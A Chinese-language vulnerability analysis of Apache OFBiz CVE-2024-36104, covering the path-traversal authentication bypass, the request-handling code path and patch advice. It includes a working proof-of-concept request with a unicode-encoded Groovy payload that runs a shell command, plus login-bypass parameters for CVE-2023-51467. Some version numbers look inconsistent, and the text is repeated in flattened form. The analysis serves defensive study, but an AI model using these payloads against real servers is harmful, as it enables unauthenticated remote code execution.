Apache OFBiz 最新Grovvy代码执行分析(CVE-2024-36104)
字数 1663 2025-08-20 18:18:39

Apache OFBiz Groovy代码执行漏洞分析 (CVE-2024-36104)

漏洞概述

Apache OFBiz是一个开源的企业级业务流程开发框架。近期爆出的CVE-2024-36104漏洞允许攻击者通过webtools/control/ProgramExport接口执行恶意Groovy代码,从而实现任意命令执行。该漏洞与之前发现的CVE-2024-32113和CVE-2023-51467相关,都是基于对ProgramExport接口的利用。

环境搭建

  1. 下载OFBiz 18.12.14版本
  2. 安装Gradle并将项目导入IDEA
  3. 执行build命令生成ofbiz.jar
  4. 添加JAR Application并设置JAR路径启动项目
  5. 访问https://127.0.0.1:8443/accounting验证环境是否搭建成功

相关漏洞分析

CVE-2023-51467 (鉴权绕过漏洞)

漏洞原理

  • org.apache.ofbiz.webapp.control.LoginWorker#checkLogin()
  • 提交参数USERNAME=&PASSWORD=&requirePasswordChange=Y可绕过登录验证
  • userLogin==null时,程序进入if语句
  • login()方法中,如果requirePasswordChange=Y则返回"requirePasswordChange"
  • 导致checkLogin()最终返回"success"从而绕过认证

修复方式

  • 18.12.11版本改用UtilValidate.isEmpty()判断参数是否为空

CVE-2024-36104 (路径限制不当漏洞)

漏洞利用方式

  1. 通过路径遍历绕过身份验证:
    POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport
    
  2. 直接访问无需认证的接口:
    POST /webtools/control/forgotPassword/ProgramExport
    

POC示例

POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
Host: x.x.x.x
Content-Type: application/x-www-form-urlencoded
Content-Length: 262

groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

漏洞详细分析

请求处理流程

  1. ControlFilter处理

    • 请求首先经过一系列Filter
    • 18.14.13版本新增了对特殊字符的过滤,但仍有绕过可能
  2. ControlServlet处理

    • doGet()方法进行请求预处理
    • 获取用户session信息和设置响应头
    • 进入RequestHandler.doRequest()
  3. RequestHandler处理

    • 解析WEB-INF/common-controller.xml配置文件
    • 获取request-map标签信息,特别是security标签中的auth值
    • forgotPassword接口的auth=false(无需认证)
  4. 请求URI处理

    • 通过getRequestUri()从path中提取第一个路径段(如forgotPassword)
    • 使用getOverrideViewUri()获取实际要调用的接口(如ProgramExport)
  5. 认证绕过

    • 由于requestUri是forgotPassword,requestMap.securityAuth为False
    • 跳过checkLogin()的身份验证
  6. 视图渲染

    • nextRequestResponse.type=view时进入renderView()
    • 使用之前获取的overrideViewUri(ProgramExport)处理业务逻辑

关键代码分析

  1. 路径处理

    // 获取请求URI
    String requestUri = getRequestUri(path);
    // 获取要覆盖的视图URI
    String overrideViewUri = getOverrideViewUri(path, requestUri);
    
  2. 认证检查

    if (requestMap.securityAuth) {
        this.runEvent(request, response, checkLoginEvent, null, "security-auth");
    }
    
  3. 视图渲染

    if ("view".equals(nextRequestResponse.type)) {
        renderView(nextRequestResponse, request, response);
    }
    

修复方案

  1. 升级到最新版本(18.12.14及以上)
  2. 在ControlFilter中添加对特殊字符(如;%2e)的过滤
  3. 加强对ProgramExport接口的访问控制
  4. 对所有敏感接口实施严格的权限验证

总结

CVE-2024-36104漏洞的核心在于:

  1. ProgramExport接口允许执行Groovy代码
  2. 通过路径处理逻辑可以绕过身份验证
  3. 结合无需认证的接口(如forgotPassword)实现RCE

建议用户及时升级并检查系统中是否存在类似的路径处理问题,对所有执行代码的接口实施严格的访问控制。

Apache OFBiz Groovy代码执行漏洞分析 (CVE-2024-36104) 漏洞概述 Apache OFBiz是一个开源的企业级业务流程开发框架。近期爆出的CVE-2024-36104漏洞允许攻击者通过webtools/control/ProgramExport接口执行恶意Groovy代码,从而实现任意命令执行。该漏洞与之前发现的CVE-2024-32113和CVE-2023-51467相关,都是基于对ProgramExport接口的利用。 环境搭建 下载OFBiz 18.12.14版本 安装Gradle并将项目导入IDEA 执行build命令生成ofbiz.jar 添加JAR Application并设置JAR路径启动项目 访问https://127.0.0.1:8443/accounting验证环境是否搭建成功 相关漏洞分析 CVE-2023-51467 (鉴权绕过漏洞) 漏洞原理 : 在 org.apache.ofbiz.webapp.control.LoginWorker#checkLogin() 中 提交参数 USERNAME=&PASSWORD=&requirePasswordChange=Y 可绕过登录验证 当 userLogin==null 时,程序进入if语句 login() 方法中,如果 requirePasswordChange=Y 则返回"requirePasswordChange" 导致 checkLogin() 最终返回"success"从而绕过认证 修复方式 : 18.12.11版本改用 UtilValidate.isEmpty() 判断参数是否为空 CVE-2024-36104 (路径限制不当漏洞) 漏洞利用方式 : 通过路径遍历绕过身份验证: 直接访问无需认证的接口: POC示例 : 漏洞详细分析 请求处理流程 ControlFilter处理 : 请求首先经过一系列Filter 18.14.13版本新增了对特殊字符的过滤,但仍有绕过可能 ControlServlet处理 : doGet() 方法进行请求预处理 获取用户session信息和设置响应头 进入 RequestHandler.doRequest() RequestHandler处理 : 解析WEB-INF/common-controller.xml配置文件 获取request-map标签信息,特别是security标签中的auth值 forgotPassword 接口的 auth=false (无需认证) 请求URI处理 : 通过 getRequestUri() 从path中提取第一个路径段(如forgotPassword) 使用 getOverrideViewUri() 获取实际要调用的接口(如ProgramExport) 认证绕过 : 由于requestUri是forgotPassword, requestMap.securityAuth 为False 跳过 checkLogin() 的身份验证 视图渲染 : 当 nextRequestResponse.type=view 时进入 renderView() 使用之前获取的 overrideViewUri (ProgramExport)处理业务逻辑 关键代码分析 路径处理 : 认证检查 : 视图渲染 : 修复方案 升级到最新版本(18.12.14及以上) 在ControlFilter中添加对特殊字符(如 ; 和 %2e )的过滤 加强对ProgramExport接口的访问控制 对所有敏感接口实施严格的权限验证 总结 CVE-2024-36104漏洞的核心在于: ProgramExport接口允许执行Groovy代码 通过路径处理逻辑可以绕过身份验证 结合无需认证的接口(如forgotPassword)实现RCE 建议用户及时升级并检查系统中是否存在类似的路径处理问题,对所有执行代码的接口实施严格的访问控制。